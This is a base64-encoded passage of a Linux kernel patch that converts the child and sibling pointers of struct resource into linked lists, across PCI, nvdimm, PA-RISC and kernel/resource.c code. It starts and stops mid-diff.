am95c3RpY2svaWZvcmNlL2lmb3JjZS1tYWluLmMKQEAgLTMwNSw4ICszMDUsOCBAQCBpbnQgaWZv
cmNlX2luaXRfZGV2aWNlKHN0cnVjdCBpZm9yY2UgKmlmb3JjZSkKIAlpZm9yY2UtPmRldmljZV9t
ZW1vcnkuZW5kID0gMjAwOwogCWlmb3JjZS0+ZGV2aWNlX21lbW9yeS5mbGFncyA9IElPUkVTT1VS
Q0VfTUVNOwogCWlmb3JjZS0+ZGV2aWNlX21lbW9yeS5wYXJlbnQgPSBOVUxMOwotCWlmb3JjZS0+
ZGV2aWNlX21lbW9yeS5jaGlsZCA9IE5VTEw7Ci0JaWZvcmNlLT5kZXZpY2VfbWVtb3J5LnNpYmxp
bmcgPSBOVUxMOworCUlOSVRfTElTVF9IRUFEKCZpZm9yY2UtPmRldmljZV9tZW1vcnkuY2hpbGQp
OworCUlOSVRfTElTVF9IRUFEKCZpZm9yY2UtPmRldmljZV9tZW1vcnkuc2libGluZyk7CiAKIC8q
CiAgKiBXYWl0IHVudGlsIGRldmljZSByZWFkeSAtIHVudGlsIGl0IHNlbmRzIGl0cyBmaXJzdCBy
ZXNwb25zZS4KZGlmZiAtLWdpdCBhL2RyaXZlcnMvbnZkaW1tL25hbWVzcGFjZV9kZXZzLmMgYi9k
cml2ZXJzL252ZGltbS9uYW1lc3BhY2VfZGV2cy5jCmluZGV4IDI4YWZkZDY2ODkwNS4uZjUzZDQx
MGQ5OTgxIDEwMDY0NAotLS0gYS9kcml2ZXJzL252ZGltbS9uYW1lc3BhY2VfZGV2cy5jCisrKyBi
L2RyaXZlcnMvbnZkaW1tL25hbWVzcGFjZV9kZXZzLmMKQEAgLTYzNyw3ICs2MzcsNyBAQCBzdGF0
aWMgcmVzb3VyY2Vfc2l6ZV90IHNjYW5fYWxsb2NhdGUoc3RydWN0IG5kX3JlZ2lvbiAqbmRfcmVn
aW9uLAogIHJldHJ5OgogCWZpcnN0ID0gMDsKIAlmb3JfZWFjaF9kcGFfcmVzb3VyY2UobmRkLCBy
ZXMpIHsKLQkJc3RydWN0IHJlc291cmNlICpuZXh0ID0gcmVzLT5zaWJsaW5nLCAqbmV3X3JlcyA9
IE5VTEw7CisJCXN0cnVjdCByZXNvdXJjZSAqbmV4dCA9IHJlc291cmNlX3NpYmxpbmcocmVzKSwg
Km5ld19yZXMgPSBOVUxMOwogCQlyZXNvdXJjZV9zaXplX3QgYWxsb2NhdGUsIGF2YWlsYWJsZSA9
IDA7CiAJCWVudW0gYWxsb2NfbG9jIGxvYyA9IEFMTE9DX0VSUjsKIAkJY29uc3QgY2hhciAqYWN0
aW9uOwpAQCAtNzYzLDcgKzc2Myw3IEBAIHN0YXRpYyByZXNvdXJjZV9zaXplX3Qgc2Nhbl9hbGxv
Y2F0ZShzdHJ1Y3QgbmRfcmVnaW9uICpuZF9yZWdpb24sCiAJICogYW4gaW5pdGlhbCAicG1lbS1y
ZXNlcnZlIHBhc3MiLiAgT25seSBkbyBhbiBpbml0aWFsIEJMSyBhbGxvY2F0aW9uCiAJICogd2hl
biBub25lIG9mIHRoZSBEUEEgc3BhY2UgaXMgcmVzZXJ2ZWQuCiAJICovCi0JaWYgKChpc19wbWVt
IHx8ICFuZGQtPmRwYS5jaGlsZCkgJiYgbiA9PSB0b19hbGxvY2F0ZSkKKwlpZiAoKGlzX3BtZW0g
fHwgbGlzdF9lbXB0eSgmbmRkLT5kcGEuY2hpbGQpKSAmJiBuID09IHRvX2FsbG9jYXRlKQogCQly
ZXR1cm4gaW5pdF9kcGFfYWxsb2NhdGlvbihsYWJlbF9pZCwgbmRfcmVnaW9uLCBuZF9tYXBwaW5n
LCBuKTsKIAlyZXR1cm4gbjsKIH0KQEAgLTc3OSw3ICs3NzksNyBAQCBzdGF0aWMgaW50IG1lcmdl
X2RwYShzdHJ1Y3QgbmRfcmVnaW9uICpuZF9yZWdpb24sCiAgcmV0cnk6CiAJZm9yX2VhY2hfZHBh
X3Jlc291cmNlKG5kZCwgcmVzKSB7CiAJCWludCByYzsKLQkJc3RydWN0IHJlc291cmNlICpuZXh0
ID0gcmVzLT5zaWJsaW5nOworCQlzdHJ1Y3QgcmVzb3VyY2UgKm5leHQgPSByZXNvdXJjZV9zaWJs
aW5nKHJlcyk7CiAJCXJlc291cmNlX3NpemVfdCBlbmQgPSByZXMtPnN0YXJ0ICsgcmVzb3VyY2Vf
c2l6ZShyZXMpOwogCiAJCWlmICghbmV4dCB8fCBzdHJjbXAocmVzLT5uYW1lLCBsYWJlbF9pZC0+
aWQpICE9IDAKZGlmZiAtLWdpdCBhL2RyaXZlcnMvbnZkaW1tL25kLmggYi9kcml2ZXJzL252ZGlt
bS9uZC5oCmluZGV4IDMyZTAzNjRiNDhiOS4uZGE3ZGExNWUwM2U3IDEwMDY0NAotLS0gYS9kcml2
ZXJzL252ZGltbS9uZC5oCisrKyBiL2RyaXZlcnMvbnZkaW1tL25kLmgKQEAgLTEwMiwxMSArMTAy
LDEwIEBAIHVuc2lnbmVkIHNpemVvZl9uYW1lc3BhY2VfbGFiZWwoc3RydWN0IG52ZGltbV9kcnZk
YXRhICpuZGQpOwogCQkodW5zaWduZWQgbG9uZyBsb25nKSAocmVzID8gcmVzLT5zdGFydCA6IDAp
LCAjI2FyZykKIAogI2RlZmluZSBmb3JfZWFjaF9kcGFfcmVzb3VyY2UobmRkLCByZXMpIFwKLQlm
b3IgKHJlcyA9IChuZGQpLT5kcGEuY2hpbGQ7IHJlczsgcmVzID0gcmVzLT5zaWJsaW5nKQorCWxp
c3RfZm9yX2VhY2hfZW50cnkocmVzLCAmKG5kZCktPmRwYS5jaGlsZCwgc2libGluZykKIAogI2Rl
ZmluZSBmb3JfZWFjaF9kcGFfcmVzb3VyY2Vfc2FmZShuZGQsIHJlcywgbmV4dCkgXAotCWZvciAo
cmVzID0gKG5kZCktPmRwYS5jaGlsZCwgbmV4dCA9IHJlcyA/IHJlcy0+c2libGluZyA6IE5VTEw7
IFwKLQkJCXJlczsgcmVzID0gbmV4dCwgbmV4dCA9IG5leHQgPyBuZXh0LT5zaWJsaW5nIDogTlVM
TCkKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5X3NhZmUocmVzLCBuZXh0LCAmKG5kZCktPmRwYS5jaGls
ZCwgc2libGluZykKIAogc3RydWN0IG5kX3BlcmNwdV9sYW5lIHsKIAlpbnQgY291bnQ7CmRpZmYg
LS1naXQgYS9kcml2ZXJzL29mL2FkZHJlc3MuYyBiL2RyaXZlcnMvb2YvYWRkcmVzcy5jCmluZGV4
IDUzMzQ5OTEyYWM3NS4uZTJlMjU3MTlhYjUyIDEwMDY0NAotLS0gYS9kcml2ZXJzL29mL2FkZHJl
c3MuYworKysgYi9kcml2ZXJzL29mL2FkZHJlc3MuYwpAQCAtMzMwLDcgKzMzMCw5IEBAIGludCBv
Zl9wY2lfcmFuZ2VfdG9fcmVzb3VyY2Uoc3RydWN0IG9mX3BjaV9yYW5nZSAqcmFuZ2UsCiB7CiAJ
aW50IGVycjsKIAlyZXMtPmZsYWdzID0gcmFuZ2UtPmZsYWdzOwotCXJlcy0+cGFyZW50ID0gcmVz
LT5jaGlsZCA9IHJlcy0+c2libGluZyA9IE5VTEw7CisJcmVzLT5wYXJlbnQgPSBOVUxMOworCUlO
SVRfTElTVF9IRUFEKCZyZXMtPmNoaWxkKTsKKwlJTklUX0xJU1RfSEVBRCgmcmVzLT5zaWJsaW5n
KTsKIAlyZXMtPm5hbWUgPSBucC0+ZnVsbF9uYW1lOwogCiAJaWYgKHJlcy0+ZmxhZ3MgJiBJT1JF
U09VUkNFX0lPKSB7CmRpZmYgLS1naXQgYS9kcml2ZXJzL3BhcmlzYy9sYmFfcGNpLmMgYi9kcml2
ZXJzL3BhcmlzYy9sYmFfcGNpLmMKaW5kZXggNjliZDk4NDIxZWIxLi43NDgyYmRmZDE5NTkgMTAw
NjQ0Ci0tLSBhL2RyaXZlcnMvcGFyaXNjL2xiYV9wY2kuYworKysgYi9kcml2ZXJzL3BhcmlzYy9s
YmFfcGNpLmMKQEAgLTE3MCw4ICsxNzAsOCBAQCBsYmFfZHVtcF9yZXMoc3RydWN0IHJlc291cmNl
ICpyLCBpbnQgZCkKIAlmb3IgKGkgPSBkOyBpIDsgLS1pKSBwcmludGsoIiAiKTsKIAlwcmludGso
S0VSTl9ERUJVRyAiJXAgWyVseCwlbHhdLyVseFxuIiwgciwKIAkJKGxvbmcpci0+c3RhcnQsIChs
b25nKXItPmVuZCwgci0+ZmxhZ3MpOwotCWxiYV9kdW1wX3JlcyhyLT5jaGlsZCwgZCsyKTsKLQls
YmFfZHVtcF9yZXMoci0+c2libGluZywgZCk7CisJbGJhX2R1bXBfcmVzKHJlc291cmNlX2ZpcnN0
X2NoaWxkKCZyLT5jaGlsZCksIGQrMik7CisJbGJhX2R1bXBfcmVzKHJlc291cmNlX3NpYmxpbmco
ciksIGQpOwogfQogCiAKZGlmZiAtLWdpdCBhL2RyaXZlcnMvcGNpL2NvbnRyb2xsZXIvdm1kLmMg
Yi9kcml2ZXJzL3BjaS9jb250cm9sbGVyL3ZtZC5jCmluZGV4IDk0MmI2NGZjN2YxZi4uZTNhY2Uy
MDM0NWM3IDEwMDY0NAotLS0gYS9kcml2ZXJzL3BjaS9jb250cm9sbGVyL3ZtZC5jCisrKyBiL2Ry
aXZlcnMvcGNpL2NvbnRyb2xsZXIvdm1kLmMKQEAgLTU0MiwxNCArNTQyLDE0IEBAIHN0YXRpYyBz
dHJ1Y3QgcGNpX29wcyB2bWRfb3BzID0gewogCiBzdGF0aWMgdm9pZCB2bWRfYXR0YWNoX3Jlc291
cmNlcyhzdHJ1Y3Qgdm1kX2RldiAqdm1kKQogewotCXZtZC0+ZGV2LT5yZXNvdXJjZVtWTURfTUVN
QkFSMV0uY2hpbGQgPSAmdm1kLT5yZXNvdXJjZXNbMV07Ci0Jdm1kLT5kZXYtPnJlc291cmNlW1ZN
RF9NRU1CQVIyXS5jaGlsZCA9ICZ2bWQtPnJlc291cmNlc1syXTsKKwlsaXN0X2FkZCgmdm1kLT5y
ZXNvdXJjZXNbMV0uc2libGluZywgJnZtZC0+ZGV2LT5yZXNvdXJjZVtWTURfTUVNQkFSMV0uY2hp
bGQpOworCWxpc3RfYWRkKCZ2bWQtPnJlc291cmNlc1syXS5zaWJsaW5nLCAmdm1kLT5kZXYtPnJl
c291cmNlW1ZNRF9NRU1CQVIyXS5jaGlsZCk7CiB9CiAKIHN0YXRpYyB2b2lkIHZtZF9kZXRhY2hf
cmVzb3VyY2VzKHN0cnVjdCB2bWRfZGV2ICp2bWQpCiB7Ci0Jdm1kLT5kZXYtPnJlc291cmNlW1ZN
RF9NRU1CQVIxXS5jaGlsZCA9IE5VTEw7Ci0Jdm1kLT5kZXYtPnJlc291cmNlW1ZNRF9NRU1CQVIy
XS5jaGlsZCA9IE5VTEw7CisJSU5JVF9MSVNUX0hFQUQoJnZtZC0+ZGV2LT5yZXNvdXJjZVtWTURf
TUVNQkFSMV0uY2hpbGQpOworCUlOSVRfTElTVF9IRUFEKCZ2bWQtPmRldi0+cmVzb3VyY2VbVk1E
X01FTUJBUjJdLmNoaWxkKTsKIH0KIAogLyoKZGlmZiAtLWdpdCBhL2RyaXZlcnMvcGNpL3Byb2Jl
LmMgYi9kcml2ZXJzL3BjaS9wcm9iZS5jCmluZGV4IGFjODc2ZTMyZGU0Yi4uOTYyNGRkMWRmZDQ5
IDEwMDY0NAotLS0gYS9kcml2ZXJzL3BjaS9wcm9iZS5jCisrKyBiL2RyaXZlcnMvcGNpL3Byb2Jl
LmMKQEAgLTU5LDYgKzU5LDggQEAgc3RhdGljIHN0cnVjdCByZXNvdXJjZSAqZ2V0X3BjaV9kb21h
aW5fYnVzbl9yZXMoaW50IGRvbWFpbl9ucikKIAlyLT5yZXMuc3RhcnQgPSAwOwogCXItPnJlcy5l
bmQgPSAweGZmOwogCXItPnJlcy5mbGFncyA9IElPUkVTT1VSQ0VfQlVTIHwgSU9SRVNPVVJDRV9Q
Q0lfRklYRUQ7CisJSU5JVF9MSVNUX0hFQUQoJnItPnJlcy5jaGlsZCk7CisJSU5JVF9MSVNUX0hF
QUQoJnItPnJlcy5zaWJsaW5nKTsKIAogCWxpc3RfYWRkX3RhaWwoJnItPmxpc3QsICZwY2lfZG9t
YWluX2J1c25fcmVzX2xpc3QpOwogCmRpZmYgLS1naXQgYS9kcml2ZXJzL3BjaS9zZXR1cC1idXMu
YyBiL2RyaXZlcnMvcGNpL3NldHVwLWJ1cy5jCmluZGV4IDc5YjE4MjRlODNiNC4uOGU2ODVhZjg5
MzhkIDEwMDY0NAotLS0gYS9kcml2ZXJzL3BjaS9zZXR1cC1idXMuYworKysgYi9kcml2ZXJzL3Bj
aS9zZXR1cC1idXMuYwpAQCAtMjEwNyw3ICsyMTA3LDcgQEAgaW50IHBjaV9yZWFzc2lnbl9icmlk
Z2VfcmVzb3VyY2VzKHN0cnVjdCBwY2lfZGV2ICpicmlkZ2UsIHVuc2lnbmVkIGxvbmcgdHlwZSkK
IAkJCQljb250aW51ZTsKIAogCQkJLyogSWdub3JlIEJBUnMgd2hpY2ggYXJlIHN0aWxsIGluIHVz
ZSAqLwotCQkJaWYgKHJlcy0+Y2hpbGQpCisJCQlpZiAoIWxpc3RfZW1wdHkoJnJlcy0+Y2hpbGQp
KQogCQkJCWNvbnRpbnVlOwogCiAJCQlyZXQgPSBhZGRfdG9fbGlzdCgmc2F2ZWQsIGJyaWRnZSwg
cmVzLCAwLCAwKTsKZGlmZiAtLWdpdCBhL2luY2x1ZGUvbGludXgvaW9wb3J0LmggYi9pbmNsdWRl
L2xpbnV4L2lvcG9ydC5oCmluZGV4IGRmZGNkMGJmZTU0ZS4uYjc0NTZhZTg4OWRkIDEwMDY0NAot
LS0gYS9pbmNsdWRlL2xpbnV4L2lvcG9ydC5oCisrKyBiL2luY2x1ZGUvbGludXgvaW9wb3J0LmgK
QEAgLTEyLDYgKzEyLDcgQEAKICNpZm5kZWYgX19BU1NFTUJMWV9fCiAjaW5jbHVkZSA8bGludXgv
Y29tcGlsZXIuaD4KICNpbmNsdWRlIDxsaW51eC90eXBlcy5oPgorI2luY2x1ZGUgPGxpbnV4L2xp
c3QuaD4KIC8qCiAgKiBSZXNvdXJjZXMgYXJlIHRyZWUtbGlrZSwgYWxsb3dpbmcKICAqIG5lc3Rp
bmcgZXRjLi4KQEAgLTIyLDcgKzIzLDggQEAgc3RydWN0IHJlc291cmNlIHsKIAljb25zdCBjaGFy
ICpuYW1lOwogCXVuc2lnbmVkIGxvbmcgZmxhZ3M7CiAJdW5zaWduZWQgbG9uZyBkZXNjOwotCXN0
cnVjdCByZXNvdXJjZSAqcGFyZW50LCAqc2libGluZywgKmNoaWxkOworCXN0cnVjdCBsaXN0X2hl
YWQgY2hpbGQsIHNpYmxpbmc7CisJc3RydWN0IHJlc291cmNlICpwYXJlbnQ7CiB9OwogCiAvKgpA
QCAtMjE2LDcgKzIxOCw2IEBAIHN0YXRpYyBpbmxpbmUgYm9vbCByZXNvdXJjZV9jb250YWlucyhz
dHJ1Y3QgcmVzb3VyY2UgKnIxLCBzdHJ1Y3QgcmVzb3VyY2UgKnIyKQogCXJldHVybiByMS0+c3Rh
cnQgPD0gcjItPnN0YXJ0ICYmIHIxLT5lbmQgPj0gcjItPmVuZDsKIH0KIAotCiAvKiBDb252ZW5p
ZW5jZSBzaG9ydGhhbmQgd2l0aCBhbGxvY2F0aW9uICovCiAjZGVmaW5lIHJlcXVlc3RfcmVnaW9u
KHN0YXJ0LG4sbmFtZSkJCV9fcmVxdWVzdF9yZWdpb24oJmlvcG9ydF9yZXNvdXJjZSwgKHN0YXJ0
KSwgKG4pLCAobmFtZSksIDApCiAjZGVmaW5lIHJlcXVlc3RfbXV4ZWRfcmVnaW9uKHN0YXJ0LG4s
bmFtZSkJX19yZXF1ZXN0X3JlZ2lvbigmaW9wb3J0X3Jlc291cmNlLCAoc3RhcnQpLCAobiksIChu
YW1lKSwgSU9SRVNPVVJDRV9NVVhFRCkKQEAgLTI4Nyw2ICsyODgsMTggQEAgc3RhdGljIGlubGlu
ZSBib29sIHJlc291cmNlX292ZXJsYXBzKHN0cnVjdCByZXNvdXJjZSAqcjEsIHN0cnVjdCByZXNv
dXJjZSAqcjIpCiAgICAgICAgcmV0dXJuIChyMS0+c3RhcnQgPD0gcjItPmVuZCAmJiByMS0+ZW5k
ID49IHIyLT5zdGFydCk7CiB9CiAKK3N0YXRpYyBpbmxpbmUgc3RydWN0IHJlc291cmNlICpyZXNv
dXJjZV9zaWJsaW5nKHN0cnVjdCByZXNvdXJjZSAqcmVzKQoreworCWlmIChyZXMtPnBhcmVudCAm
JiAhbGlzdF9pc19sYXN0KCZyZXMtPnNpYmxpbmcsICZyZXMtPnBhcmVudC0+Y2hpbGQpKQorCQly
ZXR1cm4gbGlzdF9uZXh0X2VudHJ5KHJlcywgc2libGluZyk7CisJcmV0dXJuIE5VTEw7Cit9CisK
K3N0YXRpYyBpbmxpbmUgc3RydWN0IHJlc291cmNlICpyZXNvdXJjZV9maXJzdF9jaGlsZChzdHJ1
Y3QgbGlzdF9oZWFkICpoZWFkKQoreworCXJldHVybiBsaXN0X2ZpcnN0X2VudHJ5X29yX251bGwo
aGVhZCwgc3RydWN0IHJlc291cmNlLCBzaWJsaW5nKTsKK30KKwogCiAjZW5kaWYgLyogX19BU1NF
TUJMWV9fICovCiAjZW5kaWYJLyogX0xJTlVYX0lPUE9SVF9IICovCmRpZmYgLS1naXQgYS9rZXJu
ZWwvcmVzb3VyY2UuYyBiL2tlcm5lbC9yZXNvdXJjZS5jCmluZGV4IGQxY2JmNGI1MGUxNy4uNmQ2
NDdhMzgyNGIxIDEwMDY0NAotLS0gYS9rZXJuZWwvcmVzb3VyY2UuYworKysgYi9rZXJuZWwvcmVz
b3VyY2UuYwpAQCAtMzEsNiArMzEsOCBAQCBzdHJ1Y3QgcmVzb3VyY2UgaW9wb3J0X3Jlc291cmNl
ID0gewogCS5zdGFydAk9IDAsCiAJLmVuZAk9IElPX1NQQUNFX0xJTUlULAogCS5mbGFncwk9IElP
UkVTT1VSQ0VfSU8sCisJLnNpYmxpbmcgPSBMSVNUX0hFQURfSU5JVChpb3BvcnRfcmVzb3VyY2Uu
c2libGluZyksCisJLmNoaWxkICA9IExJU1RfSEVBRF9JTklUKGlvcG9ydF9yZXNvdXJjZS5jaGls
ZCksCiB9OwogRVhQT1JUX1NZTUJPTChpb3BvcnRfcmVzb3VyY2UpOwogCkBAIC0zOSw2ICs0MSw4
IEBAIHN0cnVjdCByZXNvdXJjZSBpb21lbV9yZXNvdXJjZSA9IHsKIAkuc3RhcnQJPSAwLAogCS5l
bmQJPSAtMSwKIAkuZmxhZ3MJPSBJT1JFU09VUkNFX01FTSwKKwkuc2libGluZyA9IExJU1RfSEVB
RF9JTklUKGlvbWVtX3Jlc291cmNlLnNpYmxpbmcpLAorCS5jaGlsZCAgPSBMSVNUX0hFQURfSU5J
VChpb21lbV9yZXNvdXJjZS5jaGlsZCksCiB9OwogRVhQT1JUX1NZTUJPTChpb21lbV9yZXNvdXJj
ZSk7CiAKQEAgLTU3LDIwICs2MSwyMCBAQCBzdGF0aWMgREVGSU5FX1JXTE9DSyhyZXNvdXJjZV9s
b2NrKTsKICAqIGJ5IGJvb3QgbWVtIGFmdGVyIHRoZSBzeXN0ZW0gaXMgdXAuIFNvIGZvciByZXVz
aW5nIHRoZSByZXNvdXJjZSBlbnRyeQogICogd2UgbmVlZCB0byByZW1lbWJlciB0aGUgcmVzb3Vy
Y2UuCiAgKi8KLXN0YXRpYyBzdHJ1Y3QgcmVzb3VyY2UgKmJvb3RtZW1fcmVzb3VyY2VfZnJlZTsK
K3N0YXRpYyBzdHJ1Y3QgbGlzdF9oZWFkIGJvb3RtZW1fcmVzb3VyY2VfZnJlZSA9IExJU1RfSEVB
RF9JTklUKGJvb3RtZW1fcmVzb3VyY2VfZnJlZSk7CiBzdGF0aWMgREVGSU5FX1NQSU5MT0NLKGJv
b3RtZW1fcmVzb3VyY2VfbG9jayk7CiAKIHN0YXRpYyBzdHJ1Y3QgcmVzb3VyY2UgKm5leHRfcmVz
b3VyY2Uoc3RydWN0IHJlc291cmNlICpwLCBib29sIHNpYmxpbmdfb25seSkKIHsKIAkvKiBDYWxs
ZXIgd2FudHMgdG8gdHJhdmVyc2UgdGhyb3VnaCBzaWJsaW5ncyBvbmx5ICovCiAJaWYgKHNpYmxp
bmdfb25seSkKLQkJcmV0dXJuIHAtPnNpYmxpbmc7CisJCXJldHVybiByZXNvdXJjZV9zaWJsaW5n
KHApOwogCi0JaWYgKHAtPmNoaWxkKQotCQlyZXR1cm4gcC0+Y2hpbGQ7Ci0Jd2hpbGUgKCFwLT5z
aWJsaW5nICYmIHAtPnBhcmVudCkKKwlpZiAoIWxpc3RfZW1wdHkoJnAtPmNoaWxkKSkKKwkJcmV0
dXJuIHJlc291cmNlX2ZpcnN0X2NoaWxkKCZwLT5jaGlsZCk7CisJd2hpbGUgKCFyZXNvdXJjZV9z
aWJsaW5nKHApICYmIHAtPnBhcmVudCkKIAkJcCA9IHAtPnBhcmVudDsKLQlyZXR1cm4gcC0+c2li
bGluZzsKKwlyZXR1cm4gcmVzb3VyY2Vfc2libGluZyhwKTsKIH0KIAogc3RhdGljIHZvaWQgKnJf
bmV4dChzdHJ1Y3Qgc2VxX2ZpbGUgKm0sIHZvaWQgKnYsIGxvZmZfdCAqcG9zKQpAQCAtOTAsNyAr
OTQsNyBAQCBzdGF0aWMgdm9pZCAqcl9zdGFydChzdHJ1Y3Qgc2VxX2ZpbGUgKm0sIGxvZmZfdCAq
cG9zKQogCXN0cnVjdCByZXNvdXJjZSAqcCA9IFBERV9EQVRBKGZpbGVfaW5vZGUobS0+ZmlsZSkp
OwogCWxvZmZfdCBsID0gMDsKIAlyZWFkX2xvY2soJnJlc291cmNlX2xvY2spOwotCWZvciAocCA9
IHAtPmNoaWxkOyBwICYmIGwgPCAqcG9zOyBwID0gcl9uZXh0KG0sIHAsICZsKSkKKwlmb3IgKHAg
PSByZXNvdXJjZV9maXJzdF9jaGlsZCgmcC0+Y2hpbGQpOyBwICYmIGwgPCAqcG9zOyBwID0gcl9u
ZXh0KG0sIHAsICZsKSkKIAkJOwogCXJldHVybiBwOwogfQpAQCAtMTUzLDggKzE1Nyw3IEBAIHN0
YXRpYyB2b2lkIGZyZWVfcmVzb3VyY2Uoc3RydWN0IHJlc291cmNlICpyZXMpCiAKIAlpZiAoIVBh
Z2VTbGFiKHZpcnRfdG9faGVhZF9wYWdlKHJlcykpKSB7CiAJCXNwaW5fbG9jaygmYm9vdG1lbV9y
ZXNvdXJjZV9sb2NrKTsKLQkJcmVzLT5zaWJsaW5nID0gYm9vdG1lbV9yZXNvdXJjZV9mcmVlOwot
CQlib290bWVtX3Jlc291cmNlX2ZyZWUgPSByZXM7CisJCWxpc3RfYWRkKCZyZXMtPnNpYmxpbmcs
ICZib290bWVtX3Jlc291cmNlX2ZyZWUpOwogCQlzcGluX3VubG9jaygmYm9vdG1lbV9yZXNvdXJj
ZV9sb2NrKTsKIAl9IGVsc2UgewogCQlrZnJlZShyZXMpOwpAQCAtMTY2LDEwICsxNjksOSBAQCBz
dGF0aWMgc3RydWN0IHJlc291cmNlICphbGxvY19yZXNvdXJjZShnZnBfdCBmbGFncykKIAlzdHJ1
Y3QgcmVzb3VyY2UgKnJlcyA9IE5VTEw7CiAKIAlzcGluX2xvY2soJmJvb3RtZW1fcmVzb3VyY2Vf
bG9jayk7Ci0JaWYgKGJvb3RtZW1fcmVzb3VyY2VfZnJlZSkgewotCQlyZXMgPSBib290bWVtX3Jl
c291cmNlX2ZyZWU7Ci0JCWJvb3RtZW1fcmVzb3VyY2VfZnJlZSA9IHJlcy0+c2libGluZzsKLQl9
CisJcmVzID0gcmVzb3VyY2VfZmlyc3RfY2hpbGQoJmJvb3RtZW1fcmVzb3VyY2VfZnJlZSk7CisJ
aWYgKHJlcykKKwkJbGlzdF9kZWwoJnJlcy0+c2libGluZyk7CiAJc3Bpbl91bmxvY2soJmJvb3Rt
ZW1fcmVzb3VyY2VfbG9jayk7CiAKIAlpZiAocmVzKQpAQCAtMTc3LDYgKzE3OSw4IEBAIHN0YXRp
YyBzdHJ1Y3QgcmVzb3VyY2UgKmFsbG9jX3Jlc291cmNlKGdmcF90IGZsYWdzKQogCWVsc2UKIAkJ
cmVzID0ga3phbGxvYyhzaXplb2Yoc3RydWN0IHJlc291cmNlKSwgZmxhZ3MpOwogCisJSU5JVF9M
SVNUX0hFQUQoJnJlcy0+Y2hpbGQpOworCUlOSVRfTElTVF9IRUFEKCZyZXMtPnNpYmxpbmcpOwog
CXJldHVybiByZXM7CiB9CiAKQEAgLTE4NSw3ICsxODksNyBAQCBzdGF0aWMgc3RydWN0IHJlc291
cmNlICogX19yZXF1ZXN0X3Jlc291cmNlKHN0cnVjdCByZXNvdXJjZSAqcm9vdCwgc3RydWN0IHJl
c291cgogewogCXJlc291cmNlX3NpemVfdCBzdGFydCA9IG5ldy0+c3RhcnQ7CiAJcmVzb3VyY2Vf
c2l6ZV90IGVuZCA9IG5ldy0+ZW5kOwotCXN0cnVjdCByZXNvdXJjZSAqdG1wLCAqKnA7CisJc3Ry
dWN0IHJlc291cmNlICp0bXA7CiAKIAlpZiAoZW5kIDwgc3RhcnQpCiAJCXJldHVybiByb290OwpA
QCAtMTkzLDY0ICsxOTcsNjIgQEAgc3RhdGljIHN0cnVjdCByZXNvdXJjZSAqIF9fcmVxdWVzdF9y
ZXNvdXJjZShzdHJ1Y3QgcmVzb3VyY2UgKnJvb3QsIHN0cnVjdCByZXNvdXIKIAkJcmV0dXJuIHJv
b3Q7CiAJaWYgKGVuZCA+IHJvb3QtPmVuZCkKIAkJcmV0dXJuIHJvb3Q7Ci0JcCA9ICZyb290LT5j
aGlsZDsKLQlmb3IgKDs7KSB7Ci0JCXRtcCA9ICpwOwotCQlpZiAoIXRtcCB8fCB0bXAtPnN0YXJ0
ID4gZW5kKSB7Ci0JCQluZXctPnNpYmxpbmcgPSB0bXA7Ci0JCQkqcCA9IG5ldzsKKworCWlmIChs
aXN0X2VtcHR5KCZyb290LT5jaGlsZCkpIHsKKwkJbGlzdF9hZGQoJm5ldy0+c2libGluZywgJnJv
b3QtPmNoaWxkKTsKKwkJbmV3LT5wYXJlbnQgPSByb290OworCQlJTklUX0xJU1RfSEVBRCgmbmV3
LT5jaGlsZCk7CisJCXJldHVybiBOVUxMOworCX0KKworCWxpc3RfZm9yX2VhY2hfZW50cnkodG1w
LCAmcm9vdC0+Y2hpbGQsIHNpYmxpbmcpIHsKKwkJaWYgKHRtcC0+c3RhcnQgPiBlbmQpIHsKKwkJ
CWxpc3RfYWRkKCZuZXctPnNpYmxpbmcsIHRtcC0+c2libGluZy5wcmV2KTsKIAkJCW5ldy0+cGFy
ZW50ID0gcm9vdDsKKwkJCUlOSVRfTElTVF9IRUFEKCZuZXctPmNoaWxkKTsKIAkJCXJldHVybiBO
VUxMOwogCQl9Ci0JCXAgPSAmdG1wLT5zaWJsaW5nOwogCQlpZiAodG1wLT5lbmQgPCBzdGFydCkK
IAkJCWNvbnRpbnVlOwogCQlyZXR1cm4gdG1wOwogCX0KKworCWxpc3RfYWRkX3RhaWwoJm5ldy0+
c2libGluZywgJnJvb3QtPmNoaWxkKTsKKwluZXctPnBhcmVudCA9IHJvb3Q7CisJSU5JVF9MSVNU
X0hFQUQoJm5ldy0+Y2hpbGQpOworCXJldHVybiBOVUxMOwogfQogCiBzdGF0aWMgaW50IF9fcmVs
ZWFzZV9yZXNvdXJjZShzdHJ1Y3QgcmVzb3VyY2UgKm9sZCwgYm9vbCByZWxlYXNlX2NoaWxkKQog
ewotCXN0cnVjdCByZXNvdXJjZSAqdG1wLCAqKnAsICpjaGQ7CisJc3RydWN0IHJlc291cmNlICp0
bXAsICpuZXh0LCAqY2hkOwogCi0JcCA9ICZvbGQtPnBhcmVudC0+Y2hpbGQ7Ci0JZm9yICg7Oykg
ewotCQl0bXAgPSAqcDsKLQkJaWYgKCF0bXApCi0JCQlicmVhazsKKwlsaXN0X2Zvcl9lYWNoX2Vu
dHJ5X3NhZmUodG1wLCBuZXh0LCAmb2xkLT5wYXJlbnQtPmNoaWxkLCBzaWJsaW5nKSB7CiAJCWlm
ICh0bXAgPT0gb2xkKSB7Ci0JCQlpZiAocmVsZWFzZV9jaGlsZCB8fCAhKHRtcC0+Y2hpbGQpKSB7
Ci0JCQkJKnAgPSB0bXAtPnNpYmxpbmc7CisJCQlpZiAocmVsZWFzZV9jaGlsZCB8fCBsaXN0X2Vt
cHR5KCZ0bXAtPmNoaWxkKSkgeworCQkJCWxpc3RfZGVsKCZ0bXAtPnNpYmxpbmcpOwogCQkJfSBl
bHNlIHsKLQkJCQlmb3IgKGNoZCA9IHRtcC0+Y2hpbGQ7OyBjaGQgPSBjaGQtPnNpYmxpbmcpIHsK
KwkJCQlsaXN0X2Zvcl9lYWNoX2VudHJ5KGNoZCwgJnRtcC0+Y2hpbGQsIHNpYmxpbmcpCiAJCQkJ
CWNoZC0+cGFyZW50ID0gdG1wLT5wYXJlbnQ7Ci0JCQkJCWlmICghKGNoZC0+c2libGluZykpCi0J
CQkJCQlicmVhazsKLQkJCQl9Ci0JCQkJKnAgPSB0bXAtPmNoaWxkOwotCQkJCWNoZC0+c2libGlu
ZyA9IHRtcC0+c2libGluZzsKKwkJCQlsaXN0X3NwbGljZSgmdG1wLT5jaGlsZCwgdG1wLT5zaWJs
